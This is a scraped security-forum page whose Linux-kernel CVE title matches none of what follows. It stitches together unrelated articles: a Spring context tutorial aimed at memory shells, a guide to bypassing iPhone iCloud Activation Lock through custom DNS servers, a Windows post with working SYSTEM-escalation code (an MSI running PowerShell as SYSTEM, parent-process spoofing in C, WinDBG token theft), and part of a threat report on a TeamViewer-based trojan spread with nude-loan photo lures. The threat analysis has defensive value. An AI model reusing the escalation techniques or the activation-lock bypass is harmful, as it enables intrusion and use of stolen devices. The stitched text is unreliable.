CVE-2018-8822 Linux 内核多内存损坏漏洞
<https://www.securityfocus.com/bid/103476> | 社区文章 |
## 前言:
自己在学习内存马的时候碰见了这两个东西,当时感觉被文章里面的ChildContext和RootContext搞的很混乱,所以自己决定单独去学学这两个
## 对于ChildContext和RootContext的说明:
我们使用spring中的ContextLoaderListener和DispatcherServlet分别加载了不同的spring配置文件。
(这两个配置文件其实就分别对应了我们的RootContext和我们的ChildContext)
**spring
mvc程序里会有两个WebApplicationContext，一个是parent，从applicationContext.xml里加载的，一个是child，从servlet-context.xml里加载的。 两者是继承关系，child WebApplicationContext 可以通过getParent()函数获取到root
WebApplicationContext。**
这里我们需要解释一下上面这个servlet-context.xml,这个的意思其实就是指代的是我们上面的这个dispatcherServlet.xml
所以从这里的这个命名规则来说我们也应该知道,其实我们的child可以有多个,一个servlet的配置文件就能对应一个ChildContext,只不过在普通的环境使用中,特别是在我们的Springmvc中大多数都是只有两个配置文件的,他们分别是:
所以分别对应的其实就是一个RootContext和一个ChildContext上下文对象
## 引用的一个小案例:
该案例来源在网上看到的一个比较好帮助我们理解的案例:
package net.aty.springmvc;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import net.aty.service.MyService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.ContextLoader;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.DispatcherServlet;
@Controller
public class FirstController {
@Autowired
private MyService service;
@Autowired
private HttpServletRequest request;
public FirstController() {
System.out.println("I am a controller.");
}
@RequestMapping("/mvc/first/hello.do")
@ResponseBody
public String hello(@RequestParam("userName") String userName) {
testContext();
return service.process(userName);
}
private void testContext() {
WebApplicationContext root = ContextLoader
.getCurrentWebApplicationContext();
ServletContext servletContext = root.getServletContext();
// true
System.out
.println(root == servletContext
.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE));
// true
System.out.println(root == WebApplicationContextUtils
.getWebApplicationContext(servletContext));
WebApplicationContext child = (WebApplicationContext) request
.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
// false
System.out.println("root:" + root.containsLocalBean("myService"));
// true
System.out
.println("root:" + root.containsLocalBean("firstController"));
// false
System.out.println("child:" + child.containsLocalBean("myService"));
// true
System.out.println("child:"
+ child.containsLocalBean("firstController"));
// true
System.out.println("is parent==" + (child.getParent() == root));
}
}
那么从上面的代码中我们可以得出:
`ContextLoader.getCurrentWebApplicationContext();`可以得到我们的RootContext对象
通过rootContext可以得到我们的servletContext对象
我们的rootContext是
ServletContext里面的一个属性,可以通过:`getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE)`获取到
在ServletContext中我们还能找到
其他的childContext,比如上面我们提到的这个Dispatcher代表的servlet,也就是我们注册的这个springmvc的这个servlet
所代表的就是这个
**(这也证明了不管我们的ChildContext还是RootContext都是我们的XmlWebApplicationContext对象,只是如果这个对象有parent对象那么这个对象就是我们的Child,如果没有就是我们的RootContext)**
我们可以这样来验证一下:
(WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE)==ContextLoader.getCurrentWebApplicationContext().getServletContext()
我们可以看到这个返回的true,那么这样证明了我们上面说得是正确的
当然这样也说明了我们可以通过`request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE)`来去获取我们的ChildContext对象
我们再来去看看这个思想,也就是上面提到的我们的RootContext对象不能包含我们ChildContext里面的Bean对象
这里我们先去看看我们的RootContext能否包含我们Child里面的Bean:
ContextLoader.getCurrentWebApplicationContext().containsLocalBean("org.springframework.web.servlet.view.InternalResourceViewResolver")
那么这里为什么我们想要去包含这个Controller呢,原因很简单,因为我们看
我们这个扫描组件是在我们的dispatcherServlet中声明的,那么这样也就说明这几个Bean对象在我们的这个ChildContext中,所以当然我们的RootContext是包含不到这几个Bean的,那么这里我们如果去尝试使用ChildContext来去包含这个里面扫描过的Bean标签呢?
(WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE).containsBean("testC")
WebApplicationContext child = (WebApplicationContext) request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
child.containsLocalBean("testC");
那么我们来去尝试看看结果:
那么这里我们可以看到这个是包含成功了的,并且我们还要注意一个细节,这里写入到我们Context中的这个Bean的开头是我们的小写字母t
那么我们来看我们的RootContext：
ContextLoader.getCurrentWebApplicationContext().containsLocalBean("testC")
那么这里确实是没有包含的
**那么这里也告诉我们获取Context对象最好是去获取它的ChildContext对象,不然有些在ChildContex中注册或者扫描进去的对象我们是拿不到的**
## 我们来看看SpirngBoot中的Context:
首先我们来测试一下去获取到当前对象的rootContext对象:
首先我们来使用这个方法:
ContextLoader.getCurrentWebApplicationContext()
**获取不到的原因：** springboot无论以main方法还是spring-boot:run的方式执行都不会跑SpringBootServletInitializer中的onStartup导致ContextLoaderListener没有执行。
我们来看第二种方法:
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
这里我们可以看到是获取到,获取到的是AnnotationConfigServletWebApplicationContext这个类
通过它的parent为null我们也可以知道它是我们的RootContext对象
这个时候我们去使用上面Spring中获取childContext的方法去获取一下我们的这个Context对象:
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest())
那么在这个地方我们就发现在Spirng中通过这个方式获取到的ChildContext对象在这里获取到的仍然是上面获取到的RootContext对象
我们换一种方式来看看:
(WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE)
我们去查看里面的bean
我们在AnnotationConfigServletWebServerApplicationContext里面找到了我们注册的bean
它的ServletContext:
**和我们SpirngMvc中的servletContext是一样的**
所以在SpringBoot中其实还解决了在SpringMVC中容易出现的这么一个问题:
**这里通过我们的一些调试分析也发现其实我们的SpringBoot中其实采用的就是上面的第二种解决办法,它并没有Child和ParentContext的区分,这里面有且仅有一个Context对象,我们所有的Bean都注册到了里面**
## 总结
### SpringMvc和SpirngBoot中的相同点:
1:ServletContext都为我们的ApplicationContextFacade对象
2:作用范围都是ServletContext最大,因为其他的Context,包括我们的RootContext对象和childContext对象都是它里面的一个属性,一个attributes
### 不同点:
1:SpringBoot中只有一个RootContext,没有child,所有bean都注册在这里面,而SpingMvc中有两个一个root一个child
2:在SpirngMvc中遇见最多的RootContext对象和ChildContext对象就是这两个:
对应在web.xml中的配置就是:
<servlet>
<servlet-name>springmvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<load-on-startup>1</load-on-startup>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:dispatcherServlet.xml</param-value>
</init-param>
</servlet>
和
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
如果有多个配置文件就能对应生成多个ChildContext上下文对象
3:在SpringMvc中在哪个配置文件中声明注解扫描标签,那么扫描到的bean就会被注册到该配置文件对应的哪个Context上下文环境中去
如:
<context:component-scan base-package="Controller"/>
### 其他:
我们要明白其实所谓的RootContext和ChildContex他们之间的区分其实就是一个所谓的继承关系,简单来说有parent属性的就是child没有的就是root
child中可以访问到parent里面的资源,parent中访问不到child中的资源,这也是后期注入内存马中为什么更多的是去选择获取ChildContext而不是RootContext的原因
**对于Bean的存储,还是存储在我们Context里面的Beanfactory这个属性里面的,存储的方式要注意,它的类名首字母是小写存放的**
#### 参考:
<https://blog.csdn.net/aitangyong/article/details/50563239>
<https://blog.csdn.net/hengyunabc/article/details/47072637>
如果上述分析有什么问题,还请各位师傅指正! | 社区文章 |
# 【技术分享】七步绕过iPhone的iCloud锁（含演示视频）
##### 译文声明
本文是翻译文章，文章来源：pangujailbreak.com
原文地址：<https://pangujailbreak.com/bypass-icloud-free/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2671379114)
预估稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
你想知道怎么绕过iPhone 7（Plus）、6S Plus、6S, 6 Plus, 6、5S、5C、4S、4、iPad 或者iPod
touch的iCloud激活锁吗？如果你想知道的话，非常好！有些用户从eBay或亚马逊等网商购买到的iPhone很有可能是上锁的，即iCloud锁。
如果出现了这种情况，那么当你开始使用这台苹果设备时，它就会不断询问你有关这台设备原主人的iCloud登录信息。接下来，我们将在这篇文章中告诉大家如何通过几个简单的步骤来
**绕过iCloud激活锁** 。
**什么是iCloud激活锁？**
在开始介绍绕过iCloud激活锁的方法之前，首先你得知道iCloud激活锁是什么。iCloud激活锁是iOS系统所采用的一个主要的安全保护功能。那么当你不小心弄丢了自己的iPhone时，你可以通过激活“寻找我的iPhone”这个服务来尝试寻找你丢失的iPhone手机。除此之外，这个服务还可以保护你手机中的信息，即使捡到这台手机的人重置了你的手机，他们也仍然无法使用这台设备。如果他们想要正常使用这台iPhone，那么他们就必须提供手机原主人的iCloud账号信息。
所以，当你从二手市场上购买了一台带激活锁的iPhone手机，那么你可能想自杀的心都有了吧！不过先别着急，因为这篇文章所介绍的技术可以通过“DNS”来帮你解锁iPhone手机。
注意：我们可以利用DNS来绕过iCloud激活锁，但这并不是最优的解决方案。我们这里所指的绕过，指的是能够让你使用iPhone的部分功能，例如移动应用和手机游戏等等。
**这项技术所支持的iOS系统版本：**
需要注意的是，本文所介绍的DNS绕过技术可以在以下iOS系统版本中正常工作：
iOS 10.3
iOS 10.2.1
iOS 10.2
iOS 10.1.1
iOS 10.1
iOS 10.x.x
iOS 9.x.x
**支持的设备型号如下：**
iPhone 7 Plus
iPhone 7
iPhone 6S Plus
iPhone 6S
iPhone SE
iPhone 6 Plus
iPhone 6
iPhone 5S
iPhone 5C
iPhone 5
iPhone 4S
iPhone 4
所有型号的iPad
所有型号的iPod Touchs
**如何绕过iCloud激活锁？**
请确保设备中已经插入了SIM卡，因为如果手机中没有SIM卡，那么我们的这项绕过技术将无法工作。
第一步：打开你的iPhone、iPad或者iPod Touch，然后选择你的国家和语言。
第二步：接下来系统会跳转到WiFi设置界面。如果你没有看到WiFi网络后面的那个“i”标志，你可以按下手机的HOME键，然后选择“高级WiFi设置”。
第三步：确保你的iOS设备没有接入任何的网络，如果它总是自动接入网络的话，可以点击WiFi网络后面的那个“i”标志，然后选择“忘记这个网络”。
第四步：点击WiFi网络后面的那个“i”标志，然后对DNS信息进行自定义设置，你可以选择下面给出的任意一个IP地址：
美国／北美地区：104.154.51.7
欧洲地区：104.155.28.90
亚洲地区：104.155.220.58
其他地区：78.100.17.60
第五步：点击屏幕左上方的“<返回”按钮，然后选择你可以接入的WiFi网络，并输入你的WiFi密码。接下来，你的iPhone会跳转到下一个界面，但你不要让它跳转，此时请点击“返回”按钮。
第六步：接下来，iCloud绕过界面就显示出来了。
第七步：往下滑动屏幕，然后你就可以选择你想访问的移动应用、音乐、视频、摄像头和其他大量功能了。如果你还是不了解整个操作步骤的话，你可以观看下面完整的绕过演示视频。
**演示视频**
下面这个演示视频将给大家演示如何利用上述方法来绕过iPhone的iCloud激活锁：
**后话**
如果你想了解更多关于解锁iCloud的内容，我强烈建议大家参考另外这篇文章【[传送门](https://pangujailbreak.com/icloud-unlock-iphone/)】。 | 社区文章 |
# 【技术分享】获取SYSTEM权限的多种姿势
##### 译文声明
本文是翻译文章，文章来源：blog.xpnsec.com
原文地址：<https://blog.xpnsec.com/becoming-system/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
****
对于许多渗透测试人员来说，Meterpreter的getsystem命令已成为获取SYSTEM帐户权限的默认方法，但是，您是否曾经想过其工作原理到底是什么呢？
在这篇文章中，我们不仅会将详细介绍这种技术背后的工作原理，同时，还会探讨其他一些方法——尽管这些方法不太流行，但是正因为如此，它们才更容易绕过各种安全检测。
**Meterpreter的“getsystem”**
在阅读本文之前，您可能就用过Meterpreter中的getsystem模块。如果还没有用过的话，我可以为您做一个简单的介绍：getsystem是由Metasploit-Framework提供的一个模块，它可以将一个管理帐户（通常为本地Administrator账户）提升为本地SYSTEM帐户。
在继续阅读下文之前，让我们首先来了解一下如何模拟另一个用户。
模拟是Windows提供的一种非常有用的方法，通过该方法，一个进程可以模拟另一个用户的安全上下文。
例如，如果一个进程用于FTP服务器，它不仅会对用户进行身份验证，并且只希望他们访问特定用户拥有的文件，这种情况下，可以让该进程模拟该用户帐户，并让Windows强制进行相应的安全检测。
为了便于模拟，Windows向开发者公开了许多本地API，例如：
**ImpersonateNamedPipeClient**
**ImpersonateLoggedOnUser**
**ReturnToSelf**
**LogonUser**
**OpenProcessToken**
其中，ImpersonateNamedPipeClient
API调用是getsystem模块的关键功能，与提权方式息息相关。这个API调用允许一个进程模拟另一个连接到命名管道并对该管道进行数据写入操作（最后一个要求是非常重要的）的另一个进程的访问令牌。
例如，如果一个属于“受害者”的进程连接到了一个属于“攻击者”的命名管道，并且对该管道进行写入操作的话，那么这种情况下，攻击者就可以调用ImpersonateNamedPipeClient来取得“受害者”的模拟令牌，这样的话，就可以模拟该用户了。显然，这会导致一个巨大的安全隐患，因此，必须要求进程拥有SeImpersonatePrivilege权限。
在默认情况下，该权限仅适用于一些具有非常高的特权的用户：
但是，这意味着本地Administrator账户也可以使用ImpersonateNamedPipeClient——这正是getystem背后的工作原理：
1.getsystem创建一个新的Windows服务，并将其设置为连接命名管道时以SYSTEM身份运行。
2.getsystem生成一个进程，该进程会创建一个命名管道并等待来自上述服务的连接。
3.Windows服务启动，连接到命名管道。
4.上面生成的进程接收连接，并调用ImpersonateNamedPipeClient，这样就会为SYSTEM用户创建一个模拟令牌。
然后，我们只需用新收集的SYSTEM模拟令牌生成 **cmd.exe** ，这样，我们就获得了一个具有SYSTEM权限的进程。
为了演示如何在不借助Meterpreter-Framework的情况下来实现这个功能，我以前曾经发布了一个简单的工具，该工具能够在执行过程中生成一个SYSTEM
shell。这个工具的运行机制与上述步骤完全一致，该工具的下载地址为<https://github.com/xpn/getsystem-offline> 。
下面的视频展示了它的具体执行过程：
（视频地址）
现在，我们已经弄清楚了getsystem的运行机制，接下来，我们将为读者介绍获取SYSTEM权限的其他方式。
**MSIExec方法**
对于已经在Twitter上关注我的人来说，最近很可能已经看过我的一个推文，其中讲解如何使用.MSI包生成具有SYSTEM权限的进程：
There is something nice about embedding a Powershell one-liner in a .MSI, nice
alternative way to execute as SYSTEM 🙂 pic.twitter.com/cXAK6ntpcJ
— Adam (@_xpn_) November 6,
2017（链接地址：<https://twitter.com/_xpn_/status/927671297466871808?ref_src=twsrc%5Etfw>
）
这个方法是我研究DOQU 2.0恶意软件后得出的，因为相应的攻击者正在将恶意软件封装在MSI文件中进行传播。
事实证明，通过MSI启动代码的好处是，您能够在安装过程中获得SYSTEM权限。为了理解其中的原理，我们需要研究一下WIX
Toolset（链接地址：http://wixtoolset.org/）——这是一个开源项目，可以用来从XML构建脚本创建MSI文件。
WIX框架由多个工具组成，但我们只重点关注下面两个：
**candle.exe——接收.WIX XML文件并输出.WIXOBJ**
**light.exe——接收.WIXOBJ并创建一个.MSI**
通过阅读WIX的文档，我们发现它提供了一些自定义操作，以便开发人员可以在安装过程中启动脚本和进程。
在CustomAction文档中，我们看到了一些有趣的东西：
文档中给出了一个简单的方法，通过提供一个将Impersonate属性设置为false的自定义操作，就可以让MSI以SYSTEM身份来启动一个进程。
制作完成后，我们的WIX文件将如下所示：
这里应该有生成MSI的许多样板代码，为了让版面更简洁，这里从略。实际上，我们只需关注下列自定义操作：
<Property Id="cmdline">powershell...</Property>
<CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/>
这个自定义操作负责以SYSTEM身份执行我们提供的cmdline（请注意Property标签，这是解决长Powershell命令的ExeCommand属性长度限制的好办法）。
另一个有用的技巧是，确保在我们的命令执行后安装失败，这样做的好处是，可以防止安装程序添加一个新的条目到“添加或删除程序”。为此，可以让它执行一些非法的VBScript：
<CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check">
invalid vbs to fail install
</CustomAction>
最后，创建我们的 **InstallExecuteSequence** 标签，让它负责按顺序执行我们的自定义操作：
<InstallExecuteSequence>
<Custom Action="SystemShell" After="InstallInitialize"></Custom>
<Custom Action="FailInstall" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
所以，在执行过程中：
1.我们的第一个自定义操作将启动，使我们的payload以SYSTEM身份运行。
2.我们的第二个自定义操作将启动，它会执行一些非法的VBScript代码，然后，只要代码一出错，安装过程就会被迫停止。
为了将其编译成MSI，我们将上述内容保存为名为“msigen.wix”的文件，并执行以下命令：
candle.exe msigen.wix
torch.exe msigen.wixobj
最后，运行MSI文件来执行我们的payload，如下所示：
**PROC_THREAD_ATTRIBUTE_PARENT_PROCESS** 方法
这种变身SYSTEM用户的方法，实际上是James Forshaw在一篇关于如何变成“受信任的安装程序”的文章中提出来的。
同样，几个星期前我也在推特上就提到了这个技术：
Loving @tiraniddo （链接地址：<https://twitter.com/tiraniddo?ref_src=twsrc%5Etfw>
）New-Win32Process cmdlet for a nice clean way to grab SYSTEM user account.
<https://t.co/bEFYocOAKn> （链接地址：<https://t.co/bEFYocOAKn>
）pic.twitter.com/aBzzho3jKS（链接地址：<https://t.co/aBzzho3jKS> ）
— Adam (@_xpn_) November
2（链接地址：<https://twitter.com/_xpn_/status/926092979433066496?ref_src=twsrc%5Etfw>
）, 2017
这种技术的工作机制是，借助 **CreateProcess** Win32 API调用，通过
**PROC_THREAD_ATTRIBUTE_PARENT_PROCESS** 属性对新生成的进程的父进程进行赋值。
如果我们查看这个设置的说明文档，我们会看到以下内容：
所以，这意味着如果我们设置了新生成的进程的父进程，我们将继承这个父进程的令牌。所以，我们可以通过进程令牌来获取SYSTEM帐户的权限。
我们可以创建一个新的进程，并通过以下代码来设置父进程：
int pid;
HANDLE pHandle = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size;
BOOL ret;
// Set the PID to a SYSTEM process PID
pid = 555;
EnableDebugPriv();
// Open the process which we will inherit the handle from
if ((pHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == 0) {
printf("Error opening PID %dn", pid);
return 2;
}
// Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
0,
size
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Finally, create the process
ret = CreateProcessA(
"C:\Windows\system32\cmd.exe",
NULL,
NULL,
NULL,
true,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&si),
&pi
);
if (ret == false) {
printf("Error creating new process (%d)n", GetLastError());
return 3;
}
编译后，我们就可以通过它启动一个进程，并继承父进程的访问令牌，这样就能够以system身份运行诸如 **lsass.exe** 之类的程序了：
这个技术的的来源在这里（链接地址：<https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6>
）。
另外，NtObjectManager（链接地址：<https://www.powershellgallery.com/packages/NtObjectManager/1.0.1>
）提供了一个非常简单的方法来实现这个效果，不过它使用的是Powershell：
New-Win32Process cmd.exe -CreationFlags Newconsole -ParentProcess (Get-NtProcess -Name lsass.exe)
**通过内核获取SYSTEM权限**
好吧，这个技术只是用来玩的，没有实战价值……但是，从某方面来说，它却可以用来展示Windows的进程令牌管理机制。
通常情况下，Windows内核提权利用代码会篡改内核地址空间中的进程结构，以便修改进程令牌。例如，在广为人知的MS15-010漏洞利用代码（在exploit-db中可以找到）中，我们可以看到许多操作访问令牌的引用。
为了对这种方法进行分析，我们将在Windows 7 x64虚拟机上使用WinDBG来考察如何通过操作内核结构提升我们cmd.exe进程的权限。
一旦连接了WinDBG，首先需要收集想要升级到SYSTEM权限的、正在运行的进程的相关信息。为此，可以使用!process命令：
!process 0 0 cmd.exe
返回后，可以看到与我们的进程有关的一些重要信息，例如打开句柄的数量以及进程环境块的地址：
PROCESS fffffa8002edd580
SessionId: 1 Cid: 0858 Peb: 7fffffd4000 ParentCid: 0578
DirBase: 09d37000 ObjectTable: fffff8a0012b8ca0 HandleCount: 21.
Image: cmd.exe
根据我们的目的，我们感兴趣的东西是它提供的PROCESS地址（在这个例子中是fffffa8002edd580），它实际上是一个指向EPROCESS结构的指针。
EPROCESS结构（根据Microsoft的文档（链接地址：<https://msdn.microsoft.com/en-us/library/windows/hardware/ff544273.aspx> ）称）中含有进程的各种重要信息，例如进程ID和对进程线程的引用。
在该结构的许多字段中有一个指向进程的访问令牌的指针，具体要看在TOKEN结构中定义。为了查看令牌的内容，首先需要计算出TOKEN的地址。 在Windows
7 x64上，进程TOKEN位于偏移量0x208处，当然，对于Windows的不同版本（以及可能的服务包）来说，这个地址会有所不同。
我们可以用下面的命令来查找这个指针：
kd> dq fffffa8002edd580+0x208 L1
该命令将会返回令牌地址，具体如下所示：
fffffa80`02edd788 fffff8a0`00d76c51
由于令牌地址是在EX_FAST_REF结构中引用的，因此我们必须对该值进行AND运算，才能获得真正的指针地址：
kd> ? fffff8a0`00d76c51 & ffffffff`fffffff0
Evaluate expression: -8108884136880 = fffff8a0`00d76c50
这意味着cmd.exe的TOKEN的真正地址是fffff8a000d76c50。 接下来，我们可以使用以下命令为我们的进程转储TOKEN结构成员：
kd> !token fffff8a0`00d76c50
下面，我们看看进程令牌中的信息：
User: S-1-5-21-3262056927-4167910718-262487826-1001
User Groups:
00 S-1-5-21-3262056927-4167910718-262487826-513
Attributes - Mandatory Default Enabled
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-32-544
Attributes - DenyOnly
03 S-1-5-32-545
Attributes - Mandatory Default Enabled
04 S-1-5-4
Attributes - Mandatory Default Enabled
05 S-1-2-1
Attributes - Mandatory Default Enabled
06 S-1-5-11
Attributes - Mandatory Default Enabled
07 S-1-5-15
Attributes - Mandatory Default Enabled
08 S-1-5-5-0-2917477
Attributes - Mandatory Default Enabled LogonId
09 S-1-2-0
Attributes - Mandatory Default Enabled
10 S-1-5-64-10
Attributes - Mandatory Default Enabled
11 S-1-16-8192
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-21-3262056927-4167910718-262487826-513
Privs:
19 0x000000013 SeShutdownPrivilege Attributes - 23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege Attributes - 33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - 34 0x000000022 SeTimeZonePrivilege Attributes -
那么，我们如何才能将自己的进程的权限提升到SYSTEM级别呢？实际上，我们只需要从另一个具有SYSTEM特权的进程（比如lsass.exe）中窃取这个令牌，然后使用以下命令将其粘贴到我们的cmd.exe的EPROCESS中即可：
kd> !process 0 0 lsass.exe
kd> dq <LSASS_PROCESS_ADDRESS>+0x208 L1
kd> ? <LSASS_TOKEN_ADDRESS> & FFFFFFFF`FFFFFFF0
kd> !process 0 0 cmd.exe
kd> eq <CMD_EPROCESS_ADDRESS+0x208> <LSASS_TOKEN_ADDRESS>
为了让读者观看上述技术在实际系统上的运行情况，我特意录制了一段视频，生动展示了 **CMD.EXE** 从低级用户权限提升至 **SYSTEM**
权限的过程： | 社区文章 |
# 黑吃黑：揭秘狗推团伙利用裸贷照片等诱惑性手段的攻击活动
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
裸条（裸贷）是在进行借款时，以借款人手持身份证的裸体照片替代借条。“裸条”借贷值得关注——女大学生用裸照获得贷款，当发生违约不还款时，放贷人以公开裸体照片和与借款人父母联系的手段作为要挟逼迫借款人还款
近日，奇安信威胁情报中心红雨滴团队捕获了一起严重侵犯公民隐私的攻击，其通过使用极具诱惑性语言命名的压缩包进行传播，并使用了涉及裸贷等黄赌毒方面的图片和文档作为压缩包内容，并将木马混于其中，手段恶劣。
为确保更多人免受骗，我们披露了此次攻击。
除此之外，我们通过这起攻击中暴露的信息，进行溯源分析后，发现这起攻击背后实际上是一个初显规模的黑产狗推团伙，其针对的攻击目标大多从事博彩，色情等行业，且木马均为通过TeamViewer进行受害者设备控制，只为了进行菠菜或WZ行业推广，且攻击对象也基本为菠菜或WZ行业人员，具有黑吃黑属性。
因此我们将其命名为xx
(狗推，网络流行词，是对于在菲律宾从事网络博彩推广工作的人一种带有轻蔑性质的称呼。)
最后，我们对攻击团伙进行了溯源分析和黑客画像，为避免普通用户上当受骗，因此对该团伙进行了披露。
## 诱饵分析
本次初始攻击样本名称为：大学生配照片联系方式A袁双.rar
压缩包内容如下图所示，可见，精准资源.exe即为恶意软件。
从图片来源看，图片疑似来源于借贷宝裸条门事件。
其压缩包内还有一个名为config的文件夹，实际上Setting.ini为Teamviewer程序，后续将阐述他如何被运用。
其中lnk文件疑似为攻击者的win7电脑打包而成，原路径为下图红框所示。
## 木马分析
下面我们对精准资源.exe进行简单分析
Exe在启动后，首先便会将Config目录下的Setting.ini更名为Weller.exe并启动
更名后可见，其确实为TeamViewer程序。
TeamViewer是一个能在任何防火墙和NAT代理的后台用于远程控制的应用程序，桌面共享和文件传输的简单且快速的解决方案。为了连接到另一台计算机，只需要在两台计算机上同时运行
TeamViewer 即可，而不需要进行安装（也可以选择安装，安装后可以设置开机运行）。该软件第一次启动在两台计算机上自动生成伙伴
ID。只需要输入你的伙伴的ID到TeamViewer，然后就会立即建立起连接。
恶意软件启动TeamViewer后，其会获取TeamViewer窗口的用户ID（leon）以及密码（vivi），并将主机名+ “|” + 用户名（well）
，以及固定的一串VPD开头的值(vip)，构造成数据包的主要内容。
Vip这个字段的功能，我们在溯源分析后才发现其作用。
硬编码C2地址
从抓包结果可见，与分析结果一致。
当攻击者获取到受害者的Teamviewer账号和密码后，其就会进行回连以便控制受害者电脑并进行进一步操作。
## 木马同源分析
由于样本在运行后会将配置文件改为Weller.exe并执行，通过该特征以及一些其他维度进行同源样本关联后，我们发现该黑产团伙的大量同源样本。
由于该团伙会使用同一个样本，但是使用不同的样本名进行投放，主要通过QQ进行文件传输从而传播。
因此经过统计，绘制表格如下所示。
MD5 | 样本名
---|---
290272aea423f5cc3d4192d6e67281f3 | 朕本人自用的专属大盗
艾奇聊呗爆粉.exe
文本合并工具.exe
7be15765d752c3398e59484c0078c743 | 大道-03
39a09109fd9d53a8b2c124bac53cec9e | 大道-01
6月份报裱.exe
78f25d8861572b29e183c3fa48cb6d34 | 大道
333
1ce4ff83715ca73028064436beb01a78 | 神圣计划v5.1.exe
朕本人自用的专属大盗
9a4da73a8f9fa626b8c46c540ee843f7 | 朕本人自用的专属大盗
60+·ÖÖÓÊÓƵ£¬.EXE
0808a3b67d87007f169063ad228346b0 | 赵雅芝开房合集.exe
更多精品资源.exe
朕本人自用的专属大盗
a362ee3189904e5a4dbcdcf4f9932d0f | ¹²21ÕÅͼƬ.exe
朕本人自用的专属大盗
eaae507c1dc2967ccde790552ede1d6d | 91Porn
精准微信资源.exe
e7a148ca37e99175ea93d8df7323f876 | 联系方式.exe
91porn
510e4385de6694e23426600ee82a1cd2 |
超级VPN.exe
b5681af65ff5d7e74e9e828816600ac1 | 解压打开饰品.exe
d19c9ace0437040b6d2aec719c63a7c3 | 6月回访彩金.exe
8e50606164883ab7a72ae97b32dda2af | 点我打开.exe
除了样本中频繁出现的“专属大盗”，“大道”关键词外，其他关键字充分表明攻击目标所在。
名人开房合集
精准微信资源.exe
神圣计划v5.1.exe
艾奇聊呗爆粉.exe
亚博ab.exe
可见目标均为涉及黄赌毒，网赚行业从业人员。
根据开源情报可见，该类木马最早上传时间为2019-03-28。
从一些同源木马中的关键字“第三步 把tv中的id和密码揪出来”“id和密码揪出来B”，可见代码应该是团伙成员所写，因为既有注释，且代码一直在更新。
除此之外，每个样本中都会有‘工程1’的字眼
而投放这类木马一般基于压缩包进行投放，压缩包名称有
压缩包名称
---
计划软件.rar
五组小玲所有文件.rar
精准资源附带大学生带照片联系方式.rar
大学生配照片联系方式A袁双.rar
精准资料.rar
网红主播最新资源
照片饰品
色 视频\双龙妓院王美玲
张柏芝艳照门
开客资源
神秘彩金报表
亚博ab
这这些压缩包诱饵中，除了一开始提及的大学生裸贷诱饵外，五组小玲所有文件便最能体现出该黑产团伙的攻击目标。
首先压缩包如下图所示，其中超级VPN为木马文件
文件涉及博彩网站后台充值数据
博彩网站的充值会员信息
而这类数据，通常会被WZ行业人员再利用，针对这类人群进行广告投放，从而引流，可以使得这类人群再次前往制定博彩站点进行赌博。
因此，基于以上攻击数据，以及黑产团伙的攻击目标，我们暂时对该团伙定义为黑吃黑团伙，在下一节中，我们将会给出证据。
